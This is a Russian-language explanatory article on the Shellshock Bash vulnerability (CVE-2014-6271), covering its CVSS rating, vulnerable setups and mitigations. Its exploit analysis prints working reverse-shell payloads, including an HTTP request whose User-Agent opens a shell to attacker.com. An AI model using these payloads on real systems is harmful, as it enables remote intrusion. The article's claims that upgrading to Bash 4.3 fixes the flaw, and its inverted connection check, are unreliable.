Уязвимость CVE-2014-6271 в интерпретаторе Bash
Уязвимость CVE-2014-6271 в интерпретаторе Bash
Категория: Программы Теги: Уязвимости Опубликовано: 22 мая 2025

Уязвимость CVE-2014-6271 в интерпретаторе Bash

Уязвимость ShellShock — критическая уязвимость в интерпретаторе Bash, позволяющая удалённое выполнение произвольного кода. Она возникает из-за некорректной обработки переменных окружения, содержащих объявления функций. Злоумышленник может внедрить команды через специально сформированные строки после определения функции, например:

() { :; }; /bin/echo 'exploited'

Это приводит к выполнению команды /bin/echo при инициализации окружения Bash.

Анализ уязвимости

Уровень опасности: 9.8 CRITICAL (CVSS:3.1)
Вектор атаки: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

  • AV:N (Вектор атаки) – Сетевой: уязвимость эксплуатируется через сеть без локального доступа.

  • AC:L (Сложность эксплуатации) – Низкая: не требуется специальных условий.

  • PR:N (Уровень привилегий) – Не требуются: атака возможна без аутентификации.

  • UI:N (Взаимодействие с пользователем) – Не требуется: выполняется без действий жертвы.

  • S:U (Влияние на другие системы) – Не оказывает: воздействие ограничено целевой системой.

  • C:H/I:H/A:H (Последствия) – Полный компромисс конфиденциальности, целостности и доступности.


Условия эксплуатации

  1. Сетевой доступ к уязвимому сервису. Например: веб-сервер (Apache с mod_cgi), SSH-сервер с ForceCommand, DHCP-клиенты.

  2. Наличие Bash версии < 4.3. Уязвимы системы на Linux, macOS (исторически), IoT-устройства и сетевые сервисы, использующие Bash для обработки окружения.

  3. Возможность передачи управляемых данных в переменные окружения. Например, через HTTP-заголовки (User-Agent, Cookie) в CGI-скриптах.

Примеры уязвимых сценариев

  • Веб-серверы: CGI-скрипты (например, /cgi-bin/test.cgi), которые передают HTTP-заголовки в окружение Bash.

  • SSH: Конфигурация ForceCommand, где переменные окружения контролируются атакующим.

  • DHCP-клиенты: Выполнение скриптов с уязвимой версией Bash при получении настроек сети.


Анализ эксплоита из общего доступа

Эксплоит использует HTTP(S)-запросы для внедрения команд через заголовки. Рассмотрим ключевые части кода эксплоита для понимания работы вектора атаки с использованием этой уязвимости:

1. Формирование полезной нагрузки (Payload):

payload = '() { :; }; '  
reverse_shell = '/bin/bash -c "/bin/bash -i >& /dev/tcp/{0}/{1} 0>&1"'  
req.add_header("User-Agent", payload + reverse_shell)  

Здесь () { :; }; — объявление функции, после которого добавляется команда для reverse-shell.

2. Отправка запроса с эксплойтом:
Эксплоит поддерживает HTTP и HTTPS. Для HTTPS перебираются версии TLS:

for tls_key, tls_value in TLS_VERSIONS.items():  
    request.urlopen(req, context=tls_value, timeout=5)  

Это обходит возможные ограничения на старых серверах.

3. Проверка успешности (testRevShell):

s = socket.socket()  
try:  
    s.connect((LHOST, LPORT))  # Если порт занят, reverse-shell работает  
except:  
    print("[+] Reverse shell connected.")  

Этот код проверяет, открыт ли порт для обратного подключения.

Пример атаки через CGI-скрипт:
Если на сервере есть уязвимый скрипт /cgi-bin/status, запрос с вредоносным User-Agent вызовет выполнение кода:

GET /cgi-bin/status HTTP/1.1  
User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1  

Защита от уязвимости

  1. Обновление Bash: Установить версию ≥4.3.

  2. Отключение CGI-скриптов: Если они не используются.

  3. Фильтрация входных данных: Для веб-приложений — санитизация HTTP-заголовков.

  4. Сегментация сети: Ограничение доступа к уязвимым сервисам из интернета.

  5. WAF (Web Application Firewall): Блокировка запросов с подозрительными заголовками.

Пример проверки версии Bash:

bash --version  
# Уязвимые версии: 3.2.39(1)-release, 4.2.45(1)-release  
Алексей Черемных Алексей Черемных
76